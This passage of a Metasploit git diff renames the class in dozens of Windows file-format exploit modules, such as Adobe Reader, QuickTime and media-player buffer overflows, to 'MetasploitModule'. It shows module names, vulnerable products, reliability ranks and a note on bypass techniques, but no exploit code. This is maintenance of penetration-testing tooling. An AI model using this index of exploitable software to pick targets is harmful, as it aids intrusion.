Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/acdsee_xpm.rb b/modules/exploits/windows/fileformat/acdsee_xpm.rb index d0e2e16721..e9df444bb5 100644 --- a/modules/exploits/windows/fileformat/acdsee_xpm.rb +++ b/modules/exploits/windows/fileformat/acdsee_xpm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 81a9d67736..7e7812e50e 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb index b53d2e1068..7c625798f0 100644 --- a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb +++ b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb index 63bc9c8fcf..8e05a4b086 100644 --- a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb +++ b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index 6af35d6482..b552117821 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index 57d50e1f20..6bc77221ec 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index f1435ffe44..5e519cd03f 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb index e73645b2ee..0ad971fa75 100644 --- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb index d67d68d24f..cb4a602a6f 100644 --- a/modules/exploits/windows/fileformat/adobe_geticon.rb +++ b/modules/exploits/windows/fileformat/adobe_geticon.rb @@ -7,7 +7,7 @@ require 'msf/core/exploit/pdf' require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb index 5e4d7de6d3..0f7e4e0a76 100644 --- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb index f47602744f..9cd953b2de 100644 --- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb +++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index 2a1bd72bf5..d7a76340f7 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb index 3abbfeaee9..c11e6b9043 100644 --- a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb +++ b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb index 49bb5b8e07..30aa1cec60 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::PDF_Parse diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb index b5658a0430..369443f74e 100644 --- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb +++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb @@ -17,7 +17,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index fd420091a1..bcb30ff04d 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_toolbutton.rb b/modules/exploits/windows/fileformat/adobe_toolbutton.rb index caa942dc5e..0a3e8b3a95 100644 --- a/modules/exploits/windows/fileformat/adobe_toolbutton.rb +++ b/modules/exploits/windows/fileformat/adobe_toolbutton.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb index a64fa5f6ba..265eb15565 100644 --- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb +++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/adobe_utilprintf.rb b/modules/exploits/windows/fileformat/adobe_utilprintf.rb index 03dda02143..307fefe4e6 100644 --- a/modules/exploits/windows/fileformat/adobe_utilprintf.rb +++ b/modules/exploits/windows/fileformat/adobe_utilprintf.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb index 396176bf0d..9321d5dbc4 100644 --- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb index 4d85c1fae8..0862629e6e 100644 --- a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb +++ b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb index d807274f3f..b64b1dba03 100644 --- a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb +++ b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/aol_phobos_bof.rb b/modules/exploits/windows/fileformat/aol_phobos_bof.rb index 53c044328a..fd2dddf5f8 100644 --- a/modules/exploits/windows/fileformat/aol_phobos_bof.rb +++ b/modules/exploits/windows/fileformat/aol_phobos_bof.rb @@ -29,7 +29,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb index ed6dd402c0..e656115c4d 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb index 3cb025d7c9..f52c94d008 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb index e2ef03ffb9..f8f8cb9c45 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb index 677b09c960..b46808db8f 100644 --- a/modules/exploits/windows/fileformat/audio_coder_m3u.rb +++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb index c59964b672..74d8300822 100644 --- a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb +++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/audiotran_pls.rb b/modules/exploits/windows/fileformat/audiotran_pls.rb index 098c82121b..43aa6646dc 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb index 2d824873e9..7310aa459c 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb index cf3be4cdb6..41f0c09caa 100644 --- a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb +++ b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/bacnet_csv.rb b/modules/exploits/windows/fileformat/bacnet_csv.rb index dd284bb9b9..35d8e5431d 100644 --- a/modules/exploits/windows/fileformat/bacnet_csv.rb +++ b/modules/exploits/windows/fileformat/bacnet_csv.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index 16f16399e7..27865cb896 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -5,7 +5,7 @@ require "msf/core" -class Metasploit4 < Msf::Exploit +class MetasploitModule < Msf::Exploit Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index 9cce4f1ed1..44b52c9745 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb index e8e7b6feb9..1496c6bb45 100644 --- a/modules/exploits/windows/fileformat/blazedvd_plf.rb +++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb index eb1382c2c9..4d501e88fc 100644 --- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb +++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb index ac074a89b7..a651c57417 100644 --- a/modules/exploits/windows/fileformat/bsplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ca_cab.rb b/modules/exploits/windows/fileformat/ca_cab.rb index a596d254fc..9fd6e8977a 100644 --- a/modules/exploits/windows/fileformat/ca_cab.rb +++ b/modules/exploits/windows/fileformat/ca_cab.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb index b9960e6c1d..7b13a94448 100644 --- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb +++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb index 2eddd04730..23a4802477 100644 --- a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb index ead6de182e..6a250a4be3 100644 --- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb index fd03303457..dc224d9809 100644 --- a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb +++ b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb index 672dd21363..6097c8fb34 100644 --- a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb +++ b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/csound_getnum_bof.rb b/modules/exploits/windows/fileformat/csound_getnum_bof.rb index 1e45c2bad9..50aaa3d7ed 100644 --- a/modules/exploits/windows/fileformat/csound_getnum_bof.rb +++ b/modules/exploits/windows/fileformat/csound_getnum_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/cutezip_bof.rb b/modules/exploits/windows/fileformat/cutezip_bof.rb index f27d29a44c..4cdb568852 100644 --- a/modules/exploits/windows/fileformat/cutezip_bof.rb +++ b/modules/exploits/windows/fileformat/cutezip_bof.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index 171aa77b96..4e643c9134 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb index 74c7b8f7ea..27a7399113 100644 --- a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb +++ b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/deepburner_path.rb b/modules/exploits/windows/fileformat/deepburner_path.rb index 76ce8452b6..81e7b4eb61 100644 --- a/modules/exploits/windows/fileformat/deepburner_path.rb +++ b/modules/exploits/windows/fileformat/deepburner_path.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb index 3535ec9342..e28c56775c 100644 --- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb +++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb index dde740dc05..5b4ab37f1d 100644 --- a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb +++ b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb index ae6179ce9b..a23ea2c2ba 100644 --- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb +++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index 1a4afb7f65..bb7f07e4d6 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb index 284effe31b..abf972e0bd 100644 --- a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb +++ b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 5e22d75d04..cb3d17c4bf 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb index 48e04da124..9ebe304e14 100644 --- a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb +++ b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index f63cae9376..3922c36d9f 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index d1d7450d78..42a7a7b919 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index c455d9abe3..e7c7606b63 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/etrust_pestscan.rb b/modules/exploits/windows/fileformat/etrust_pestscan.rb index 0985e0c229..f54e0fb9fb 100644 --- a/modules/exploits/windows/fileformat/etrust_pestscan.rb +++ b/modules/exploits/windows/fileformat/etrust_pestscan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb index e13df2b8f0..8d41735dfb 100644 --- a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb +++ b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < 